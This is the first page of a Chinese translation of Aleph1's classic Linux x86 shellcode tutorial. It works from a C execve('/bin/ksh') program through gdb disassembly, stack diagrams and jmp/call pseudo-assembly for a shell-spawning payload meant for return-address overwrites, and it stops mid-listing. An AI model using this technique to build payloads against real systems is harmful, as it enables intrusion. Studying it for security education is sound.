Linux下的shellcode书写 |
|
字号: 小 大 |
<!----> 16:58 原 作:aleph1 翻译注释:warning3 1999/07 验证修改:scz 2000/01/13
概述:
aleph1书写了这篇经典文章,首先要向他致敬。 tt整理翻译了它,其次就是要向他表示衷心的感谢。
该篇文章由浅入深地详细介绍了整个书写shellcode的步骤, 并给出了图示帮助理解。文章中涉及到了一些工具的使用, 要求具备汇编语言、编译原理的基础知识,如果你对此不 了解的话,我建议你不要看下去,而是应该回头学习更基础 的东西。gdb、objdump、vi、gcc等等工具你必须学会使用, 你必须了解call命令、int命令与普通jmp命令的区别所在, 你还应该知道函数从c语言编译到机器码时做了什么工作。 如果所有的这一切都不成问题,你可以开始了。 come on,baby!
测试:
RedHat 6.0/Intel PII
目录:
★ 让我们开始吧
1. vi shellcode.c 2. gcc -o shellcode -ggdb -static shellcode.c 3. gdb shellcode 4. 研究 main() 函数的汇编代码 5. 研究 execve() 函数的执行过程 6. vi shellcode_exit.c 7. gcc -o shellcode_exit -static shellcode_exit.c 8. gdb shellcode_exit 9. 研究 exit() 函数的执行过程 10. 整个过程的伪汇编代码 11. 观察堆栈分布情况 12. 修改后的伪汇编代码 13. 调整汇编代码 14. 观察当前堆栈 15. vi shellcodeasm.c 16. gcc -o shellcodeasm -g -ggdb shellcodeasm.c 17. gdb shellcodeasm 18. 验证shellcode 19. 最后的调整 20. 验证最后调整得到的shellcode
★ 我对shellcode以及这篇文章的看法
1. 你是从DOS年代过来的吗? 2. 关于文章中的一些技术说明 3. 如何写Sun工作站上的shellcode?
★ 让我们开始吧
1. vi shellcode.c
#include int main ( int argc, char * argv[] ) { char * name[2]; name[0] = "/bin/ksh"; name[1] = NULL; execve( name[0], name, NULL ); return 0; }
2. gcc -o shellcode -ggdb -static shellcode.c
3. gdb shellcode
[scz@ /home/scz/src]> gdb shellcode GNU gdb 4.17.0.11 with Linux support This GDB was configured as "i386-redhat-linux"... (gdb) disassemble main <-- -- -- 输入 Dump of assembler code for function main: 0x80481a0 : pushl %ebp 0x80481a1 : movl %esp,%ebp 0x80481a3 : subl $0x8,%esp 0x80481a6 : movl $0x806f308,0xfffffff8(%ebp) 0x80481ad : movl $0x0,0xfffffffc(%ebp) 0x80481b4 : pushl $0x0 0x80481b6 : leal 0xfffffff8(%ebp),%eax 0x80481b9 : pushl %eax 0x80481ba : movl 0xfffffff8(%ebp),%eax 0x80481bd : pushl %eax 0x80481be : call 0x804b9b0 <__execve> 0x80481c3 : addl $0xc,%esp 0x80481c6 : xorl %eax,%eax 0x80481c8 : jmp 0x80481d0 0x80481ca : leal 0x0(%esi),%esi 0x80481d0 : leave 0x80481d1 : ret End of assembler dump. (gdb) disas __execve <-- -- -- 输入 Dump of assembler code for function __execve: 0x804b9b0 <__execve>: pushl %ebx 0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx 0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx 0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx 0x804b9bd <__execve+13>: movl $0xb,%eax 0x804b9c2 <__execve+18>: int $0x80 0x804b9c4 <__execve+20>: popl %ebx 0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax 0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error> 0x804b9d0 <__execve+32>: ret End of assembler dump.
4. 研究 main() 函数的汇编代码
0x80481a0 : pushl %ebp # 保存原来的栈基指针 # 栈基指针与堆栈指针不是一个概念 # 栈基指针对应栈底,堆栈指针对应栈顶 0x80481a1 : movl %esp,%ebp # 修改得到新的栈基指针 # 与我们以前在dos下汇编格式不一样 # 这个语句是说把esp的值赋给ebp # 而在dos下,正好是反过来的,一定要注意 0x80481a3 : subl $0x8,%esp # 堆栈指针向栈顶移动八个字节 # 用于分配局部变量的存储空间 # 这里具体就是给 char * name[2] 预留空间 # 因为每个字符指针占用4个字节,总共两个指针 0x80481a6 : movl $0x806f308,0xfffffff8(%ebp) # 将字符串"/bin/ksh"的地址拷贝到name[0] # name[0] = "/bin/ksh"; # 0xfffffff8(%ebp) 就是 ebp - 8 的意思 # 注意堆栈的增长方向以及局部变量的分配方向 # 先分配name[0]后分配name[1]的空间 0x80481ad : movl $0x0,0xfffffffc(%ebp) # 将NULL拷贝到name[1] # name[1] = NULL; 0x80481b4 : pushl $0x0 # 按从右到左的顺序将execve()的三个参数依次压栈 # 首先压入 NULL (第三个参数) # 注意pushl将压入一个四字节长的0 0x80481b6 : leal 0xfffffff8(%ebp),%eax # 将 ebp - 8 本身放入eax寄存器中 # leal的意思是取地址,而不是取值 0x80481b9 : pushl %eax # 其次压入 name 0x80481ba : movl 0xfffffff8(%ebp),%eax 0x80481bd : pushl %eax # 将 ebp - 8 本身放入eax寄存器中 # 最后压入 name[0] # 即 "/bin/ksh" 字符串的地址 0x80481be : call 0x804b9b0 <__execve> # 开始调用 execve() # call指令首先会将返回地址压入堆栈 0x80481c3 : addl $0xc,%esp # esp + 12 # 释放为了调用 execve() 而压入堆栈的内容 0x80481c6 : xorl %eax,%eax 0x80481c8 : jmp 0x80481d0 0x80481ca : leal 0x0(%esi),%esi 0x80481d0 : leave 0x80481d1 : ret
5. 研究 execve() 函数的执行过程
Linux在寄存器里传递它的参数给系统调用,用软件中断跳到kernel模式(int $0x80)
0x804b9b0 <__execve>: pushl %ebx # ebx压栈 0x804b9b1 <__execve+1>: movl 0x10(%esp,1),%edx # 把 esp + 16 本身赋给edx # 为什么是16,因为栈顶现在是ebx # 下面依次是返回地址、name[0]、name、NULL # edx --> NULL 0x804b9b5 <__execve+5>: movl 0xc(%esp,1),%ecx # 把 esp + 12 本身赋给 ecx # ecx --> name # 命令的参数数组,包括命令自己 0x804b9b9 <__execve+9>: movl 0x8(%esp,1),%ebx # 把 esp + 8 本身赋给 ebx # ebx --> name[0] # 命令本身,"/bin/ksh" 0x804b9bd <__execve+13>: movl $0xb,%eax # 设置eax为0xb,这是syscall表中的索引 # 0xb对应execve 0x804b9c2 <__execve+18>: int $0x80 # 软件中断,转入kernel模式 0x804b9c4 <__execve+20>: popl %ebx # 恢复ebx 0x804b9c5 <__execve+21>: cmpl $0xfffff001,%eax 0x804b9ca <__execve+26>: jae 0x804bcb0 <__syscall_error> # 判断返回值,报告可能的系统调用错误 0x804b9d0 <__execve+32>: ret # execve() 调用返回 # 该指令会用压在堆栈中的返回地址
从上面的分析可以看出,完成 execve() 系统调用,我们所要做的不过是这么几项而已:
a) 在内存中有以NULL结尾的字符串"/bin/ksh" b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值 c) 将0xb拷贝到寄存器EAX中 d) 将"/bin/ksh"的地址拷贝到寄存器EBX中 e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中 f) 将 NULL 拷贝到寄存器EDX中 g) 执行中断指令int $0x80
如果execve()调用失败的话,程序将继续从堆栈中获取指令并执行,而此时堆栈中的数据 是随机的,通常这个程序会core dump。我们希望如果execve调用失败的话,程序可以正 常退出,因此我们必须在execve调用后增加一个exit系统调用。它的C语言程序如下:
6. vi shellcode_exit.c
#include int main () { exit( 0 ); }
7. gcc -o shellcode_exit -static shellcode_exit.c
8. gdb shellcode_exit
[scz@ /home/scz/src]> gdb shellcode_exit GNU gdb 4.17.0.11 with Linux support This GDB was configured as "i386-redhat-linux"... (gdb) disas _exit <-- -- -- 输入 Dump of assembler code for function _exit: 0x804b970 <_exit>: movl %ebx,%edx 0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx 0x804b976 <_exit+6>: movl $0x1,%eax 0x804b97b <_exit+11>: int $0x80 0x804b97d <_exit+13>: movl %edx,%ebx 0x804b97f <_exit+15>: cmpl $0xfffff001,%eax 0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error> End of assembler dump.
9. 研究 exit() 函数的执行过程
我们可以看到,exit系统调用将0x1放到EAX中(这是它的syscall索引值),将退出码放 入EBX中,然后执行"int $0x80"。大部分程序正常退出时返回0值,我们也在EBX中放入0。 现在我们所要完成的工作又增加了三项:
a) 在内存中有以NULL结尾的字符串"/bin/ksh"
b) 在内存中有"/bin/ksh"的地址,其后是一个 unsigned long 型的NULL值 c) 将0xb拷贝到寄存器EAX中 d) 将"/bin/ksh"的地址拷贝到寄存器EBX中 e) 将"/bin/ksh"地址的地址拷贝到寄存器ECX中 f) 将 NULL 拷贝到寄存器EDX中 g) 执行中断指令int $0x80 h) 将0x1拷贝到寄存器EAX中 i) 将0x0拷贝到寄存器EBX中 j) 执行中断指令int $0x80
10. 整个过程的伪汇编代码
下面我们用汇编语言完成上述工作。我们把"/bin/ksh"字符串放到代码的后面,并且会 把字符串的地址和NULL加到字符串的后面:
------------------------------------------------------------------------------ movl string_addr,string_addr_addr #将字符串的地址放入某个内存单元中 movb $0x0,null_byte_addr #将null放入字符串"/bin/ksh"的结尾 movl $0x0,null_addr #将NULL放入某个内存单元中 movl $0xb,%eax #将0xb拷贝到EAX中 movl string_addr,%ebx #将字符串的地址拷贝到EBX中 leal string_addr_addr,%ecx #将存放字符串地址的地址拷贝到ECX中 leal null_string,%edx #将存放NULL的地址拷贝到EDX中 int $0x80 #执行中断指令int $0x80 (execve()完成) movl $0x1, %eax #将0x1拷贝到EAX中 movl $0x0, %ebx #将0x0拷贝到EBX中 int $0x80 #执行中断指令int $0x80 (exit(0)完成) /bin/ksh string goes here. #存放字符串"/bin/ksh" ------------------------------------------------------------------------------
11. 观察堆栈分布情况
现在的问题是我们并不清楚我们正试图exploit的代码和我们要放置的字符串在内存中 的确切位置。一种解决的方法是用一个jmp和call指令。jmp和call指令可以用IP相关寻址, 也就是说我们可以从当前正要运行的地址跳到一个偏移地址处执行,而不必知道这个地址 的确切数值。如果我们将call指令放在字符串"/bin/ksh"的前面,然后jmp到call指令的位置, 那么当call指令被执行的时候,它会首先将下一个要执行指令的地址(也就是字符串的地址 )压入堆栈。我们可以让call指令直接调用我们shellcode的开始指令,然后将返回地址(字符 串地址)从堆栈中弹出到某个寄存器中。假设J代表JMP指令,C代表CALL指令,S代表其他指令, s代表字符串"/bin/ksh",那么我们执行的顺序就象下图所示:
内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存 低端 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 高端 buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) 栈顶 栈底
sfp : 栈基指针 ret : 返回地址 a,b,c: 函数入口参数
(1)用0xD8覆盖返回地址后,子函数返回时将跳到0xD8处开始执行,也就是我们shellcode 的起始处 (2)由于0xD8处是一个jmp指令,它直接跳到了0xE8处执行我们的call指令 (3)call指令先将返回地址(也就是字符串地址)0xEA压栈后,跳到0xDA处开始执行
12. 修改后的伪汇编代码
经过上述修改后,我们的汇编代码变成了下面的样子:
------------------------------------------------------------------------------ jmp offset-to-call # 3 bytes 1.首先跳到call指令处去执行 popl %esi # 1 byte 3.从堆栈中弹出字符串地址到ESI中 movl %esi,array-offset(%esi) # 3 bytes 4.将字符串地址拷贝到字符串后面 movb $0x0,nullbyteoffset(%esi)# 4 bytes 5.将null字节放到字符串的结尾 movl $0x0,null-offset(%esi) # 7 bytes 6.将null长字放到字符串地址的地址后面 movl $0xb,%eax # 5 bytes 7.将0xb拷贝到EAX中 movl %esi,%ebx # 2 bytes 8.将字符串地址拷贝到EBX中 leal array-offset(%esi),%ecx # 3 bytes 9.将字符串地址的地址拷贝到ECX leal null-offset(%esi),%edx # 3 bytes 10.将null串的地址拷贝到EDX int $0x80 # 2 bytes 11.调用中断指令int $0x80 movl $0x1, %eax # 5 bytes 12.将0x1拷贝到EAX中 movl $0x0, %ebx # 5 bytes 13.将0x0拷贝到EBX中 int $0x80 # 2 bytes 14.调用中断int $0x80 call offset-to-popl # 5 bytes 2.将返回地址压栈,跳到popl处执行 /bin/ksh string goes here. ------------------------------------------------------------------------------
13. 调整汇编代码
计算一下从jmp到call和从call到popl,以及从字符串地址到name数组,从字符串地址到 null串的偏移量,我们得到下面的程序:
------------------------------------------------------------------------------ jmp 0x2a # 3 bytes 1.首先跳到call指令处去执行 popl %es[1] [2] [3] 下一页 |
|
|
| 收藏此文 | 打印 |
|
|